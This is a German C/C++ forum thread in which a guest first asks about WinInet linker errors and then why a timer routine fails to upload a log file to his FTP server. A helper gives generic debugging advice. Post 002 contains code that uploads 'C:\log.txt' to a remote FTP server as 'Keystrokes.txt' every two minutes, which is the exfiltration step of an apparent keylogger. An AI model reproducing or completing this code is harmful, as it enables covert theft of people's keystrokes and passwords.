Herzlich Willkommen, lieber Gast!
  Sie befinden sich hier:

  Forum » C / C++ (ANSI-Standard) » Brauche hilfe bei meinem c++ projekt

Forum | Hilfe | Team | Links | Impressum | > Suche < | Mitglieder | Registrieren | Einloggen
  Quicklinks: MSDN-Online || STL || clib Reference Grundlagen || Literatur || E-Books || Zubehör || > F.A.Q. < || Downloads   

Autor Thread - Seiten: > 1 <
000
02.10.2015, 17:58 Uhr
~KEyLüle
Gast


beim compliren bekomme ich immer diesen fehler

Compiling project changes...
--------
- Project Filename: C:\Users\LÜLÜLÜ\Documents\xxlkey.dev
- Compiler Name: TDM-GCC 4.9.2 32-bit Release

Building makefile...
--------
- Filename: C:\Users\LÜLÜLÜ\Documents\Makefile.win

Processing makefile...
--------
- Makefile Processor: C:\Program Files\Dev-Cpp\MinGW64\bin\mingw32-make.exe
- Command: mingw32-make.exe -f "C:\Users\LÜLÜLÜ\Documents\Makefile.win" all

g++.exe main.o -o xxlkey.exe -L"C:/Program Files/Dev-Cpp/MinGW64/lib32" -L"C:/Program Files/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32" -static-libgcc -mwindows ../Desktop/wininet.dll -m32

main.o:main.cpp:(.text+0x188): undefined reference to `_imp__InternetOpenA@20'
main.o:main.cpp:(.text+0x1d3): undefined reference to `_imp__InternetConnectA@32'
main.o:main.cpp:(.text+0x206): undefined reference to `_imp__FtpPutFileA@20'
main.o:main.cpp:(.text+0x216): undefined reference to `_imp__InternetCloseHandle@4'
main.o:main.cpp:(.text+0x226): undefined reference to `_imp__InternetCloseHandle@4'
collect2.exe: error: ld returned 1 exit status

C:\Users\LÜLÜLÜ\Documents\Makefile.win:25: recipe for target 'xxlkey.exe' failed

mingw32-make.exe: *** [xxlkey.exe] Error 1



das sagt der compiler
i

C:\Users\LÜLÜLÜ\Documents\main.o main.cpp:(.text+0x188): undefined reference to `_imp__InternetOpenA@20'
C:\Users\LÜLÜLÜ\Documents\main.o main.cpp:(.text+0x1d3): undefined reference to `_imp__InternetConnectA@32'
C:\Users\LÜLÜLÜ\Documents\main.o main.cpp:(.text+0x206): undefined reference to `_imp__FtpPutFileA@20'
C:\Users\LÜLÜLÜ\Documents\main.o main.cpp:(.text+0x216): undefined reference to `_imp__InternetCloseHandle@4'
C:\Users\LÜLÜLÜ\Documents\main.o main.cpp:(.text+0x226): undefined reference to `_imp__InternetCloseHandle@4'
C:\Users\LÜLÜLÜ\Documents\collect2.exe [Error] ld returned 1 exit status
25 C:\Users\LÜLÜLÜ\Documents\Makefile.win recipe for target 'xxlkey.exe' failed


hoffe auf schnelle hilfe

Dieser Post wurde am 03.10.2015 um 12:37 Uhr von FloSoft editiert.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
001
02.10.2015, 18:38 Uhr
ao

(Operator)


Du hast vermutlich vergessen, eine oder mehrere Bibliotheken dazuzulinken.

Hier gibts ein Beispiel: https://gist.github.com/gin1314/3434391

Wichtig ist die letzte Zeile im Code, die zeigt dir, wie man sowas bauen muss:

C++:
// compile with : g++ -Wall -O test.c -o test.exe -L/c/mingw/lib -lwsock32 -lwininet

 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
002
02.10.2015, 19:50 Uhr
~KEyLüle
Gast


Danke für deine antwort,nur jetz habe ich das problem,das dass programm nicht die dateien auf meine ftp server läd kann man da irgentwie auslesen woran das liegt oder habe ich was falschgemacht




C++:
void uploadtimer();
}
}
}
void uploadtimer()
{
     time_t start_time=time(NULL);
     time_t current_time;
     while(1)
     {
             current_time=time(NULL);
             if(current_time-start_time>120)
             {
                                     HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); // Initialization for WinInet Functions

   // Starts a session in this case an FTP session
   HINTERNET hFtpSession = InternetConnect(hInternet,"---------","21","-------","------", INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
   FtpPutFile(hFtpSession, "C:\\log.txt","Keystrokes.txt", FTP_TRANSFER_TYPE_BINARY, 0);
   // Uploads the file C:\\Test.txt onto the FTP server as Test.txt

   InternetCloseHandle(hFtpSession); // Close hFtpSession
   InternetCloseHandle(hInternet); // Close hInternet
}
}
}       --- habe ich natürlich schon eigesetzt


Dieser Post wurde am 03.10.2015 um 12:37 Uhr von FloSoft editiert.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
003
03.10.2015, 00:35 Uhr
ao

(Operator)


Waren denn die Vorbereitungen erfolgreich, also InternetOpen und InternetConnect? Sind die Rückgabewerte gültige Handles oder NULL?

Auch FtpPutFile retourniert einen Statuswert, und alle drei setzen den GetLastError-Status.

Du solltest die Funktionen mal googeln, unter den ersten Treffern sind Links in die MSDN-Library. Das ist die erste Doku-Adresse für alle Microsoft-Programmierer, die solltest du lesen.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
Seiten: > 1 <     [ C / C++ (ANSI-Standard) ]  


ThWBoard 2.73 FloSoft-Edition
© by Paul Baecher & Felix Gonschorek (www.thwboard.de)

Anpassungen des Forums
© by Flo-Soft (www.flo-soft.de)

Sie sind Besucher: